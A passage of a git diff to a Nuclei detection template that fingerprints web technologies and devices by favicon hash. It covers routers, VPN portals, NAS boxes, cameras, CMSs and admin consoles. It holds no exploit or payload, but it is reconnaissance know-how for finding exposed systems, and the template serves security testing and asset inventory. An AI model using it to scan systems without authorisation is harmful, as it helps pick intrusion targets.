mmh3(base64_py(body)))" + - type: dsl + name: "canvas-lms-learning-management" + dsl: + - "status_code==200 && (\"575613323\" == mmh3(base64_py(body)))" + - type: dsl + name: "ibm-server" + dsl: + - "status_code==200 && (\"1726027799\" == mmh3(base64_py(body)))" + - type: dsl + name: "adb-broadband-s.p.a.-network" + dsl: + - "status_code==200 && (\"-587741716\" == mmh3(base64_py(body)))" + - type: dsl + name: "arris-network" + dsl: + - "status_code==200 && (\"-360566773\" == mmh3(base64_py(body)))" + - type: dsl + name: "huawei-network" + dsl: + - "status_code==200 && (\"-884776764\" == mmh3(base64_py(body)))" + - type: dsl + name: "wampserver" + dsl: + - "status_code==200 && (\"929825723\" == mmh3(base64_py(body)))" + - type: dsl + name: "seagate-technology-nas" + dsl: + - "status_code==200 && (\"240136437\" == mmh3(base64_py(body)))" + - type: dsl + name: "upc-ceska-republica-network" + dsl: + - "status_code==200 && (\"1911253822\" == mmh3(base64_py(body)))" + - type: dsl + name: "flussonic-video-streaming" + dsl: + - "status_code==200 && (\"-393788031\" == mmh3(base64_py(body)))" + - type: dsl + name: "joomla" + dsl: + - "status_code==200 && (\"366524387\" == mmh3(base64_py(body)))" + - type: dsl + name: "wampserver" + dsl: + - "status_code==200 && (\"443944613\" == mmh3(base64_py(body)))" + - type: dsl + name: "metabase" + dsl: + - "status_code==200 && (\"1953726032\" == mmh3(base64_py(body)))" + - type: dsl + name: "d-link-network" + dsl: + - "status_code==200 && (\"-2031183903\" == mmh3(base64_py(body)))" + - type: dsl + name: "mobileiron" + dsl: + - "status_code==200 && (\"545827989\" == mmh3(base64_py(body)))" + - type: dsl + name: "mobileiron" + dsl: + - "status_code==200 && (\"967636089\" == mmh3(base64_py(body)))" + - type: dsl + name: "mobileiron" + dsl: + - "status_code==200 && (\"362091310\" == mmh3(base64_py(body)))" + - type: dsl + name: "mobileiron" + dsl: + - "status_code==200 && (\"2086228042\" == mmh3(base64_py(body)))" + - type: dsl + name: "communigate" + dsl: + - "status_code==200 && (\"-1588746893\" == mmh3(base64_py(body)))" + - type: dsl + name: "zte-network" + dsl: + - "status_code==200 && (\"1427976651\" == mmh3(base64_py(body)))" + - type: dsl + name: "infinet-wireless-|-wanflex-network" + dsl: + - "status_code==200 && (\"1648531157\" == mmh3(base64_py(body)))" + - type: dsl + name: "mersive-solstice" + dsl: + - "status_code==200 && (\"938616453\" == mmh3(base64_py(body)))" + - type: dsl + name: "université-toulouse-1-capitole" + dsl: + - "status_code==200 && (\"1632780968\" == mmh3(base64_py(body)))" + - type: dsl + name: "digium-switchvox" + dsl: + - "status_code==200 && (\"2068154487\" == mmh3(base64_py(body)))" + - type: dsl + name: "powermta-monitoring" + dsl: + - "status_code==200 && (\"-1788112745\" == mmh3(base64_py(body)))" + - type: dsl + name: "smartlan/g" + dsl: + - "status_code==200 && (\"-644617577\" == mmh3(base64_py(body)))" + - type: dsl + name: "checkpoint-gaia" + dsl: + - "status_code==200 && (\"-1822098181\" == mmh3(base64_py(body)))" + - type: dsl + name: "mailwizz" + dsl: + - "status_code==200 && (\"2127152956\" == mmh3(base64_py(body)))" + - type: dsl + name: "rabbitmq" + dsl: + - "status_code==200 && (\"1064742722\" == mmh3(base64_py(body)))" + - type: dsl + name: "openmediavault-nas" + dsl: + - "status_code==200 && (\"-693082538\" == mmh3(base64_py(body)))" + - type: dsl + name: "openwrt-luci" + dsl: + - "status_code==200 && (\"1941381095\" == mmh3(base64_py(body)))" + - type: dsl + name: "honeywell" + dsl: + - "status_code==200 && (\"903086190\" == mmh3(base64_py(body)))" + - type: dsl + name: "bomgar-support-portal" + dsl: + - "status_code==200 && (\"829321644\" == mmh3(base64_py(body)))" + - type: dsl + name: "nuxt-js" + dsl: + - "status_code==200 && (\"-1442789563\" == mmh3(base64_py(body)))" + - type: dsl + name: "roundcube-webmail" + dsl: + - "status_code==200 && (\"-2140379067\" == mmh3(base64_py(body)))" + - type: dsl + name: "d-link-camera" + dsl: + - "status_code==200 && (\"-1897829998\" == mmh3(base64_py(body)))" + - type: dsl + name: "netgear-network" + dsl: + - "status_code==200 && (\"1047213685\" == mmh3(base64_py(body)))" + - type: dsl + name: "sonarqube" + dsl: + - "status_code==200 && (\"1485257654\" == mmh3(base64_py(body)))" + - type: dsl + name: "lupus-electronics-xt" + dsl: + - "status_code==200 && (\"-299324825\" == mmh3(base64_py(body)))" + - type: dsl + name: "vanderbilt-spc" + dsl: + - "status_code==200 && (\"-1162730477\" == mmh3(base64_py(body)))" + - type: dsl + name: "vzpp-plesk" + dsl: + - "status_code==200 && (\"-1268095485\" == mmh3(base64_py(body)))" + - type: dsl + name: "baidu" + dsl: + - "status_code==200 && (\"1118684072\" == mmh3(base64_py(body)))" + - type: dsl + name: "owncloud" + dsl: + - "status_code==200 && (\"-1616115760\" == mmh3(base64_py(body)))" + - type: dsl + name: "sentora" + dsl: + - "status_code==200 && (\"-2054889066\" == mmh3(base64_py(body)))" + - type: dsl + name: "alfresco" + dsl: + - "status_code==200 && (\"1333537166\" == mmh3(base64_py(body)))" + - type: dsl + name: "digital-keystone-dk" + dsl: + - "status_code==200 && (\"-373674173\" == mmh3(base64_py(body)))" + - type: dsl + name: "wispr-airlan" + dsl: + - "status_code==200 && (\"-106646451\" == mmh3(base64_py(body)))" + - type: dsl + name: "synology-vpn-plus" + dsl: + - "status_code==200 && (\"1235070469\" == mmh3(base64_py(body)))" + - type: dsl + name: "sentry" + dsl: + - "status_code==200 && (\"2063428236\" == mmh3(base64_py(body)))" + - type: dsl + name: "watchguard" + dsl: + - "status_code==200 && (\"15831193\" == mmh3(base64_py(body)))" + - type: dsl + name: "web-client-pro" + dsl: + - "status_code==200 && (\"-956471263\" == mmh3(base64_py(body)))" + - type: dsl + name: "tecvoz" + dsl: + - "status_code==200 && (\"-1452159623\" == mmh3(base64_py(body)))" + - type: dsl + name: "mdaemon-remote-administration" + dsl: + - "status_code==200 && (\"99432374\" == mmh3(base64_py(body)))" + - type: dsl + name: "paradox-ip-module" + dsl: + - "status_code==200 && (\"727253975\" == mmh3(base64_py(body)))" + - type: dsl + name: "dokuwiki" + dsl: + - "status_code==200 && (\"-630493013\" == mmh3(base64_py(body)))" + - type: dsl + name: "sails" + dsl: + - "status_code==200 && (\"552597979\" == mmh3(base64_py(body)))" + - type: dsl + name: "fastpanel-hosting" + dsl: + - "status_code==200 && (\"774252049\" == mmh3(base64_py(body)))" + - type: dsl + name: "c-lodop" + dsl: + - "status_code==200 && (\"-329747115\" == mmh3(base64_py(body)))" + - type: dsl + name: "jamf-pro-login" + dsl: + - "status_code==200 && (\"1262005940\" == mmh3(base64_py(body)))" + - type: dsl + name: "struxureware-schneider-electric" + dsl: + - "status_code==200 && (\"979634648\" == mmh3(base64_py(body)))" + - type: dsl + name: "axcient-replibit-management-server" + dsl: + - "status_code==200 && (\"475379699\" == mmh3(base64_py(body)))" + - type: dsl + name: "twonky-server-media-streaming" + dsl: + - "status_code==200 && (\"-878891718\" == mmh3(base64_py(body)))" + - type: dsl + name: "windows-azure" + dsl: + - "status_code==200 && (\"-2125083197\" == mmh3(base64_py(body)))" + - type: dsl + name: "isp-manager-web-hosting-panel" + dsl: + - "status_code==200 && (\"-1151675028\" == mmh3(base64_py(body)))" + - type: dsl + name: "jupyterhub" + dsl: + - "status_code==200 && (\"1248917303\" == mmh3(base64_py(body)))" + - type: dsl + name: "centurylink-modem-gui-login-eg" + dsl: + - "status_code==200 && (\"-1908556829\" == mmh3(base64_py(body)))" + - type: dsl + name: "tecvoz" + dsl: + - "status_code==200 && (\"1059329877\" == mmh3(base64_py(body)))" + - type: dsl + name: "opnsense" + dsl: + - "status_code==200 && (\"-1148190371\" == mmh3(base64_py(body)))" + - type: dsl + name: "ligowave-network" + dsl: + - "status_code==200 && (\"1467395679\" == mmh3(base64_py(body)))" + - type: dsl + name: "rumpus" + dsl: + - "status_code==200 && (\"-1528414776\" == mmh3(base64_py(body)))" + - type: dsl + name: "spiceworks-panel" + dsl: + - "status_code==200 && (\"-2117390767\" == mmh3(base64_py(body)))" + - type: dsl + name: "teamcity" + dsl: + - "status_code==200 && (\"-1944119648\" == mmh3(base64_py(body)))" + - type: dsl + name: "instar-full-hd-ip-camera" + dsl: + - "status_code==200 && (\"-1748763891\" == mmh3(base64_py(body)))" + - type: dsl + name: "gpon-home-gateway" + dsl: + - "status_code==200 && (\"251106693\" == mmh3(base64_py(body)))" + - type: dsl + name: "alienvault" + dsl: + - "status_code==200 && (\"-1779611449\" == mmh3(base64_py(body)))" + - type: dsl + name: "arbor-networks" + dsl: + - "status_code==200 && (\"-1745552996\" == mmh3(base64_py(body)))" + - type: dsl + name: "accrisoft" + dsl: + - "status_code==200 && (\"-1275148624\" == mmh3(base64_py(body)))" + - type: dsl + name: "yasni" + dsl: + - "status_code==200 && (\"-178685903\" == mmh3(base64_py(body)))" + - type: dsl + name: "slack" + dsl: + - "status_code==200 && (\"-43161126\" == mmh3(base64_py(body)))" + - type: dsl + name: "innovaphone" + dsl: + - "status_code==200 && (\"671221099\" == mmh3(base64_py(body)))" + - type: dsl + name: "shinobi-cctv" + dsl: + - "status_code==200 && (\"-10974981\" == mmh3(base64_py(body)))" + - type: dsl + name: "tp-link-network-device" + dsl: + - "status_code==200 && (\"1274078387\" == mmh3(base64_py(body)))" + - type: dsl + name: "siemens-ozw772" + dsl: + - "status_code==200 && (\"-336242473\" == mmh3(base64_py(body)))" + - type: dsl + name: "lantronix-spider" + dsl: + - "status_code==200 && (\"882208493\" == mmh3(base64_py(body)))" + - type: dsl + name: "claimtime-ramsell-public-health-&-safety" + dsl: + - "status_code==200 && (\"-687783882\" == mmh3(base64_py(body)))" + - type: dsl + name: "surfilter-ssl-vpn-portal" + dsl: + - "status_code==200 && (\"-590892202\" == mmh3(base64_py(body)))" + - type: dsl + name: "kyocera-printer" + dsl: + - "status_code==200 && (\"-50306417\" == mmh3(base64_py(body)))" + - type: dsl + name: "lucee!" + dsl: + - "status_code==200 && (\"784872924\" == mmh3(base64_py(body)))" + - type: dsl + name: "ricoh" + dsl: + - "status_code==200 && (\"1135165421\" == mmh3(base64_py(body)))" + - type: dsl + name: "handle-proxy" + dsl: + - "status_code==200 && (\"926501571\" == mmh3(base64_py(body)))" + - type: dsl + name: "metasploit" + dsl: + - "status_code==200 && (\"579239725\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"-689902428\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"-600508822\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"656868270\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"-2056503929\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"-1656695885\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"331870709\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"1241049726\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"998138196\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"322531336\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"-401934945\" == mmh3(base64_py(body)))" + - type: dsl + name: "iomega-nas" + dsl: + - "status_code==200 && (\"-613216179\" == mmh3(base64_py(body)))" + - type: dsl + name: "chef-automate" + dsl: + - "status_code==200 && (\"-276759139\" == mmh3(base64_py(body)))" + - type: dsl + name: "gargoyle-router-management-utility" + dsl: + - "status_code==200 && (\"1862132268\" == mmh3(base64_py(body)))" + - type: dsl + name: "keepitsafe-management-console" + dsl: + - "status_code==200 && (\"-1738727418\" == mmh3(base64_py(body)))" + - type: dsl + name: "entronix-energy-management-platform" + dsl: + - "status_code==200 && (\"-368490461\" == mmh3(base64_py(body)))" + - type: dsl + name: "openproject" + dsl: + - "status_code==200 && (\"1836828108\" == mmh3(base64_py(body)))" + - type: dsl + name: "unified-management-console-polycom" + dsl: + - "status_code==200 && (\"-1775553655\" == mmh3(base64_py(body)))" + - type: dsl + name: "moxapass-iologik-remote-ethernet-i/o-server-" + dsl: + - "status_code==200 && (\"381100274\" == mmh3(base64_py(body)))" + - type: dsl + name: "hfs-http-file-server" + dsl: + - "status_code==200 && (\"2124459909\" == mmh3(base64_py(body)))" + - type: dsl + name: "hfs-http-file-server" + dsl: + - "status_code==200 && (\"731374291\" == mmh3(base64_py(body)))" + - type: dsl + name: "traccar-gps-tracking" + dsl: + - "status_code==200 && (\"-335153896\" == mmh3(base64_py(body)))" + - type: dsl + name: "iw" + dsl: + - "status_code==200 && (\"896412703\" == mmh3(base64_py(body)))" + - type: dsl + name: "wordpress-under-construction-icon" + dsl: + - "status_code==200 && (\"191654058\" == mmh3(base64_py(body)))" + - type: dsl + name: "combivox" + dsl: + - "status_code==200 && (\"-342262483\" == mmh3(base64_py(body)))" + - type: dsl + name: "netcomwireless-network" + dsl: + - "status_code==200 && (\"5542029\" == mmh3(base64_py(body)))" + - type: dsl + name: "elastic-database" + dsl: + - "status_code==200 && (\"1552860581\" == mmh3(base64_py(body)))" + - type: dsl + name: "drupal" + dsl: + - "status_code==200 && (\"1174841451\" == mmh3(base64_py(body)))" + - type: dsl + name: "truvision-nvr" + dsl: + - "status_code==200 && (\"-1093172228\" == mmh3(base64_py(body)))" + - type: dsl + name: "spamexperts" + dsl: + - "status_code==200 && (\"-1688698891\" == mmh3(base64_py(body)))" + - type: dsl + name: "sonatype-nexus-repository-manager" + dsl: + - "status_code==200 && (\"-1546574541\" == mmh3(base64_py(body)))" + - type: dsl + name: "idirect-canada-network-management" + dsl: + - "status_code==200 && (\"-256828986\" == mmh3(base64_py(body)))" + - type: dsl + name: "openerp-now-known-as-odoo" + dsl: + - "status_code==200 && (\"1966198264\" == mmh3(base64_py(body)))" + - type: dsl + name: "pkp-openjournalsystems-public-knowledge-project" + dsl: + - "status_code==200 && (\"2099342476\" == mmh3(base64_py(body)))" + - type: dsl + name: "liquidfiles" + dsl: + - "status_code==200 && (\"541087742\" == mmh3(base64_py(body)))" + - type: dsl + name: "zyxel-network" + dsl: + - "status_code==200 && (\"-882760066\" == mmh3(base64_py(body)))" + - type: dsl + name: "universal-devices-ud" + dsl: + - "status_code==200 && (\"16202868\" == mmh3(base64_py(body)))" + - type: dsl + name: "huawei-network" + dsl: + - "status_code==200 && (\"987967490\" == mmh3(base64_py(body)))" + - type: dsl + name: "gm77[.]com" + dsl: + - "status_code==200 && (\"-647318973\" == mmh3(base64_py(body)))" + - type: dsl + name: "okazik[.]pl" + dsl: + - "status_code==200 && (\"-1583478052\" == mmh3(base64_py(body)))" + - type: dsl + name: "gitea" + dsl: + - "status_code==200 && (\"1969970750\" == mmh3(base64_py(body)))" + - type: dsl + name: "tc-group" + dsl: + - "status_code==200 && (\"-1734573358\" == mmh3(base64_py(body)))" + - type: dsl + name: "deluge-web-ui" + dsl: + - "status_code==200 && (\"-1589842876\" == mmh3(base64_py(body)))" + - type: dsl + name: "登录-amh" + dsl: + - "status_code==200 && (\"1822002133\" == mmh3(base64_py(body)))" + - type: dsl + name: "otrs-open-ticket-request-system" + dsl: + - "status_code==200 && (\"-2006308185\" == mmh3(base64_py(body)))" + - type: dsl + name: "bosch-security-systems-camera" + dsl: + - "status_code==200 && (\"-1702769256\" == mmh3(base64_py(body)))" + - type: dsl + name: "node-red" + dsl: + - "status_code==200 && (\"321591353\" == mmh3(base64_py(body)))" + - type: dsl + name: "motioneye-camera" + dsl: + - "status_code==200 && (\"-923693877\" == mmh3(base64_py(body)))" + - type: dsl + name: "saia-burgess-controls-pcd" + dsl: + - "status_code==200 && (\"-1547576879\" == mmh3(base64_py(body)))" + - type: dsl + name: "arcadyan-o2-box-network" + dsl: + - "status_code==200 && (\"1479202414\" == mmh3(base64_py(body)))" + - type: dsl + name: "d-link-network" + dsl: + - "status_code==200 && (\"1081719753\" == mmh3(base64_py(body)))" + - type: dsl + name: "abilis-network/automation" + dsl: + - "status_code==200 && (\"-166151761\" == mmh3(base64_py(body)))" + - type: dsl + name: "ghost-cms" + dsl: + - "status_code==200 && (\"-1231681737\" == mmh3(base64_py(body)))" + - type: dsl + name: "airwatch" + dsl: + - "status_code==200 && (\"321909464\" == mmh3(base64_py(body)))" + - type: dsl + name: "airwatch" + dsl: + - "status_code==200 && (\"-1153873472\" == mmh3(base64_py(body)))" + - type: dsl + name: "airwatch" + dsl: + - "status_code==200 && (\"1095915848\" == mmh3(base64_py(body)))" + - type: dsl + name: "airwatch" + dsl: + - "status_code==200 && (\"788771792\" == mmh3(base64_py(body)))" + - type: dsl + name: "airwatch" + dsl: + - "status_code==200 && (\"-1863663974\" == mmh3(base64_py(body)))" + - type: dsl + name: "keyhelp-keyweb-ag" + dsl: + - "status_code==200 && (\"-1267819858\" == mmh3(base64_py(body)))" + - type: dsl + name: "keyhelp-keyweb-ag" + dsl: + - "status_code==200 && (\"726817668\" == mmh3(base64_py(body)))" + - type: dsl + name: "glpi" + dsl: + - "status_code==200 && (\"-1474875778\" == mmh3(base64_py(body)))" + - type: dsl + name: "netcom-technology" + dsl: + - "status_code==200 && (\"5471989\" == mmh3(base64_py(body)))" + - type: dsl + name: "cradlepoint" + dsl: + - "status_code==200 && (\"-1457536113\" == mmh3(base64_py(body)))" + - type: dsl + name: "myasp" + dsl: + - "status_code==200 && (\"-736276076\" == mmh3(base64_py(body)))" + - type: dsl + name: "intelbras-sa" + dsl: + - "status_code==200 && (\"-1343070146\" == mmh3(base64_py(body)))" + - type: dsl + name: "lenel" + dsl: + - "status_code==200 && (\"538585915\" == mmh3(base64_py(body)))" + - type: dsl + name: "okofen-pellematic" + dsl: + - "status_code==200 && (\"-625364318\" == mmh3(base64_py(body)))" + - type: dsl + name: "simplehelp-remote-support" + dsl: + - "status_code==200 && (\"1117165781\" == mmh3(base64_py(body)))" + - type: dsl + name: "graphql" + dsl: + - "status_code==200 && (\"-1067420240\" == mmh3(base64_py(body)))" + - type: dsl + name: "dnn-cms" + dsl: + - "status_code==200 && (\"-1465479343\" == mmh3(base64_py(body)))" + - type: dsl + name: "apple" + dsl: + - "status_code==200 && (\"1232159009\" == mmh3(base64_py(body)))" + - type: dsl + name: "apple" + dsl: + - "status_code==200 && (\"1382324298\" == mmh3(base64_py(body)))" + - type: dsl + name: "apple" + dsl: + - "status_code==200 && (\"-1498185948\" == mmh3(base64_py(body)))" + - type: dsl + name: "ispconfig" + dsl: + - "status_code==200 && (\"483383992\" == mmh3(base64_py(body)))" + - type: dsl + name: "microsoft-outlook" + dsl: + - "status_code==200 && (\"-1249852061\" == mmh3(base64_py(body)))" + - type: dsl + name: "possibly-dvr" + dsl: + - "status_code==200 && (\"999357577\" == mmh3(base64_py(body)))" + - type: dsl + name: "possible-ip-camera" + dsl: + - "status_code==200 && (\"492290497\" == mmh3(base64_py(body)))" + - type: dsl + name: "dvr" + dsl: + - "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))" + - type: dsl + name: "One Identity Password Manager" + dsl: + - "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))" + - type: dsl + name: "Kaseya" + dsl: + - "status_code==200 && (\"-1445519482\" == mmh3(base64_py(body)))" + - type: dsl + name: "OpenSNS" + dsl: + - "status_code==200 && (\"1167011145\" == mmh3(base64_py(body)))" diff --git a/poc/detect/favicon-detection.yaml b/poc/detect/favicon-detection.yaml index 1a180e71b7..3cf1e620d8 100644 --- a/poc/detect/favicon-detection.yaml +++ b/poc/detect/favicon-detection.yaml @@ -4,12 +4,13 @@ info: name: favicon-detection severity: info author: un-fmunozs - reference: | + reference: - https://twitter.com/brsn76945860/status/1171233054951501824 - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 - https://github.com/devanshbatham/FavFreak - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv + tags: tech,favicon requests: - method: GET @@ -24,2011 +25,2538 @@ requests: name: proxmox dsl: - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))" + - type: dsl name: blogger dsl: - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))" + - type: dsl name: oracle dsl: - "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))" + - type: dsl name: hitachi dsl: - "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))" + - type: dsl name: meinberg dsl: - "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))" + - type: dsl name: "slack-instance" dsl: - "status_code==200 && (\"99395752\" == mmh3(base64_py(body)))" + - type: dsl name: "spring-boot" dsl: - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" + - type: dsl name: "jenkins" dsl: - "status_code==200 && (\"81586312\" == mmh3(base64_py(body)))" + - type: dsl name: "cnservers-llc" dsl: - "status_code==200 && (\"-235701012\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian" dsl: - "status_code==200 && (\"743365239\" == mmh3(base64_py(body)))" + - type: dsl name: "chainpoint" dsl: - "status_code==200 && (\"2128230701\" == mmh3(base64_py(body)))" + - type: dsl name: "lacie" dsl: - "status_code==200 && (\"-1277814690\" == mmh3(base64_py(body)))" + - type: dsl name: "parse" dsl: - "status_code==200 && (\"246145559\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian" dsl: - "status_code==200 && (\"628535358\" == mmh3(base64_py(body)))" + - type: dsl name: "jira" dsl: - "status_code==200 && (\"855273746\" == mmh3(base64_py(body)))" + - type: dsl name: "avigilon" dsl: - "status_code==200 && (\"1318124267\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian-confluence" dsl: - "status_code==200 && (\"-305179312\" == mmh3(base64_py(body)))" + - type: dsl name: "openstack" dsl: - "status_code==200 && (\"786533217\" == mmh3(base64_py(body)))" + - type: dsl name: "pi-star" dsl: - "status_code==200 && (\"432733105\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian" dsl: - "status_code==200 && (\"705143395\" == mmh3(base64_py(body)))" + - type: dsl name: "angular-io-angularjs" dsl: - "status_code==200 && (\"-1255347784\" == mmh3(base64_py(body)))" + - type: dsl name: "xampp" dsl: - "status_code==200 && (\"-1275226814\" == mmh3(base64_py(body)))" + - type: dsl name: "react" dsl: - "status_code==200 && (\"-2009722838\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian-jira" dsl: - "status_code==200 && (\"981867722\" == mmh3(base64_py(body)))" + - type: dsl name: "openstack" dsl: - "status_code==200 && (\"-923088984\" == mmh3(base64_py(body)))" + - type: dsl name: "aplikasi" dsl: - "status_code==200 && (\"494866796\" == mmh3(base64_py(body)))" + - type: dsl name: "ubiquiti-aircube" dsl: - "status_code==200 && (\"1249285083\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian-bamboo" dsl: - "status_code==200 && (\"-1379982221\" == mmh3(base64_py(body)))" + - type: dsl name: "exostar-managed-access-gateway" dsl: - "status_code==200 && (\"420473080\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian-confluence" dsl: - "status_code==200 && (\"-1642532491\" == mmh3(base64_py(body)))" + - type: dsl name: "cisco-meraki" dsl: - "status_code==200 && (\"163842882\" == mmh3(base64_py(body)))" + - type: dsl name: "archivematica" dsl: - "status_code==200 && (\"-1378182799\" == mmh3(base64_py(body)))" + - type: dsl name: "tcn" dsl: - "status_code==200 && (\"-702384832\" == mmh3(base64_py(body)))" + - type: dsl name: "cx" dsl: - "status_code==200 && (\"-532394952\" == mmh3(base64_py(body)))" + - type: dsl name: "ace" dsl: - "status_code==200 && (\"-183163807\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian-jira" dsl: - "status_code==200 && (\"552727997\" == mmh3(base64_py(body)))" + - type: dsl name: "netdata" dsl: - "status_code==200 && (\"1302486561\" == mmh3(base64_py(body)))" + - type: dsl name: "opengeo-suite" dsl: - "status_code==200 && (\"-609520537\" == mmh3(base64_py(body)))" + - type: dsl name: "dgraph-ratel" dsl: - "status_code==200 && (\"-1961046099\" == mmh3(base64_py(body)))" + - type: dsl name: "atlassian-jira" dsl: - "status_code==200 && (\"-1581907337\" == mmh3(base64_py(body)))" + - type: dsl name: "material-dashboard" dsl: - "status_code==200 && (\"1913538826\" == mmh3(base64_py(body)))" + - type: dsl name: "form.io" dsl: - "status_code==200 && (\"1319699698\" == mmh3(base64_py(body)))" + - type: dsl name: "kubeflow" dsl: - "status_code==200 && (\"-1203021870\" == mmh3(base64_py(body)))" + - type: dsl name: "netdata-dashboard" dsl: - "status_code==200 && (\"-182423204\" == mmh3(base64_py(body)))" + - type: dsl name: "caprover" dsl: - "status_code==200 && (\"988422585\" == mmh3(base64_py(body)))" + - type: dsl name: "wijungle" dsl: - "status_code==200 && (\"2113497004\" == mmh3(base64_py(body)))" + - type: dsl name: "onera" dsl: - "status_code==200 && (\"1234311970\" == mmh3(base64_py(body)))" + - type: dsl name: "smartping" dsl: - "status_code==200 && (\"430582574\" == mmh3(base64_py(body)))" + - type: dsl name: "openstack" dsl: - "status_code==200 && (\"1232596212\" == mmh3(base64_py(body)))" + - type: dsl name: "netdata-dashboard" dsl: - "status_code==200 && (\"1585145626\" == mmh3(base64_py(body)))" + - type: dsl name: "fritz!box" dsl: - "status_code==200 && (\"-219752612\" == mmh3(base64_py(body)))" + - type: dsl name: "ubiquiti-airos" dsl: - "status_code==200 && (\"-697231354\" == mmh3(base64_py(body)))" + - type: dsl name: "fortinet-forticlient" dsl: - "status_code==200 && (\"945408572\" == mmh3(base64_py(body)))" + - type: dsl name: "outlook-web-application" dsl: - "status_code==200 && (\"1768726119\" == mmh3(base64_py(body)))" + - type: dsl name: "huawei-claro" dsl: - "status_code==200 && (\"2109473187\" == mmh3(base64_py(body)))" + - type: dsl name: "asus-aicloud" dsl: - "status_code==200 && (\"552592949\" == mmh3(base64_py(body)))" + - type: dsl name: "sonicwall" dsl: - "status_code==200 && (\"631108382\" == mmh3(base64_py(body)))" + - type: dsl name: "google" dsl: - "status_code==200 && (\"708578229\" == mmh3(base64_py(body)))" + - type: dsl name: "plesk" dsl: - "status_code==200 && (\"-134375033\" == mmh3(base64_py(body)))" + - type: dsl name: "dahua-storm-ip-camera" dsl: - "status_code==200 && (\"2019488876\" == mmh3(base64_py(body)))" + - type: dsl name: "huawei-adsl/router" dsl: - "status_code==200 && (\"-1395400951\" == mmh3(base64_py(body)))" + - type: dsl name: "sophos-cyberoam-appliance" dsl: - "status_code==200 && (\"1601194732\" == mmh3(base64_py(body)))" + - type: dsl name: "lancom-systems" dsl: - "status_code==200 && (\"-325082670\" == mmh3(base64_py(body)))" + - type: dsl name: "plesk" dsl: - "status_code==200 && (\"-1050786453\" == mmh3(base64_py(body)))" + - type: dsl name: "tilginab-homegateway" dsl: - "status_code==200 && (\"-1346447358\" == mmh3(base64_py(body)))" + - type: dsl name: "supermicro-intelligent-management-ipmi" dsl: - "status_code==200 && (\"1410610129\" == mmh3(base64_py(body)))" + - type: dsl name: "zyxel-zywall" dsl: - "status_code==200 && (\"-440644339\" == mmh3(base64_py(body)))" + - type: dsl name: "dell-sonicwall" dsl: - "status_code==200 && (\"363324987\" == mmh3(base64_py(body)))" + - type: dsl name: "ubiquiti-login-portals" dsl: - "status_code==200 && (\"-1446794564\" == mmh3(base64_py(body)))" + - type: dsl name: "sophos-user-portal/vpn-portal" dsl: - "status_code==200 && (\"1045696447\" == mmh3(base64_py(body)))" + - type: dsl name: "apache-tomcat" dsl: - "status_code==200 && (\"-297069493\" == mmh3(base64_py(body)))" + - type: dsl name: "openvpn" dsl: - "status_code==200 && (\"396533629\" == mmh3(base64_py(body)))" + - type: dsl name: "cyberoam" dsl: - "status_code==200 && (\"1462981117\" == mmh3(base64_py(body)))" + - type: dsl name: "asp.net-favicon" dsl: - "status_code==200 && (\"1772087922\" == mmh3(base64_py(body)))" + - type: dsl name: "technicolor" dsl: - "status_code==200 && (\"1594377337\" == mmh3(base64_py(body)))" + - type: dsl name: "vodafone-technicolor" dsl: - "status_code==200 && (\"165976831\" == mmh3(base64_py(body)))" + - type: dsl name: "ubnt-router-ui" dsl: - "status_code==200 && (\"-1677255344\" == mmh3(base64_py(body)))" + - type: dsl name: "intelbras-wireless" dsl: - "status_code==200 && (\"-359621743\" == mmh3(base64_py(body)))" + - type: dsl name: "kerio-connect-webmail" dsl: - "status_code==200 && (\"-677167908\" == mmh3(base64_py(body)))" + - type: dsl name: "big-ip" dsl: - "status_code==200 && (\"878647854\" == mmh3(base64_py(body)))" + - type: dsl name: "microsoft-owa" dsl: - "status_code==200 && (\"442749392\" == mmh3(base64_py(body)))" + - type: dsl name: "pfsense" dsl: - "status_code==200 && (\"1405460984\" == mmh3(base64_py(body)))" + - type: dsl name: "ikuai-networks" dsl: - "status_code==200 && (\"-271448102\" == mmh3(base64_py(body)))" + - type: dsl name: "dlink-webcam" dsl: - "status_code==200 && (\"31972968\" == mmh3(base64_py(body)))" + - type: dsl name: "3cx-phone-system" dsl: - "status_code==200 && (\"970132176\" == mmh3(base64_py(body)))" + - type: dsl name: "bluehost" dsl: - "status_code==200 && (\"-1119613926\" == mmh3(base64_py(body)))" + - type: dsl name: "sangfor" dsl: - "status_code==200 && (\"123821839\" == mmh3(base64_py(body)))" 